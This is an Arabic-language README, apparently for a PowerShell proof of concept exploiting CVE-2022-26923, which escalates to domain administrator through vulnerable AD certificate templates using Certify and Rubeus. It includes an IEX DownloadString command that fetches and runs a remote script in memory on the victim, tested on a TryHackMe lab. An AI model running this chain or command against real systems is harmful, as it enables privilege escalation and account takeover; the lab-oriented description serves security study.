CVE-2022-26923-Powershell-POC

هذا اختبار إثبات مفهوم باستخدام باورشيل لتحميل وتشغيل Certify و Rubeus تلقائيًا من الذاكرة.

كيف يعمل؟

1. يقوم بتحميل Certify.exe و Rubeus.exe في الذاكرة.
2. يقوم بمسح الجهاز المستهدف بحثًا عن قوالب الشهادات الخاطئة. (المزيد على https://www.youtube.com/watch?v=HBRCI5O35R8)
3. طلب شهادة للمستخدم المسؤول بناءً على القالب الضعيف.
4. يرسل الشهادة إلى معالج الشهادات، ويقوم بتحويلها إلى صيغة .pfx وإرسالها مرة أخرى إلى العميل.
5. استخدام Rubeus لتحميل الشهادة وإنشاء تذكرة للمستخدم المسؤول.
6. تغيير كلمة مرور المستخدم المسؤول (فقط للعرض).

تم اختبار هذا الاختبار على مختبرات TryHackMe التالية: https://tryhackme.com/room/adcertificatetemplates

تُستخدم هذه الثغرة لرفع الامتيازات، لذلك لا يتم تغطية أي استغلال أولي في هذا العرض ولا في مختبر THM.

الخطوات:

1. python3 -m http.server 80 [Attacker Box]
2. python3 uploader.py 8000 [Attacker Box]
3. IEX(New-Object Net.WebClient).DownloadString('http://IP/poc.ps1') [Victim Box]

ملاحظة: هذا الاختبار لأغراض تعليمية، أنت مسؤول عن أفعالك.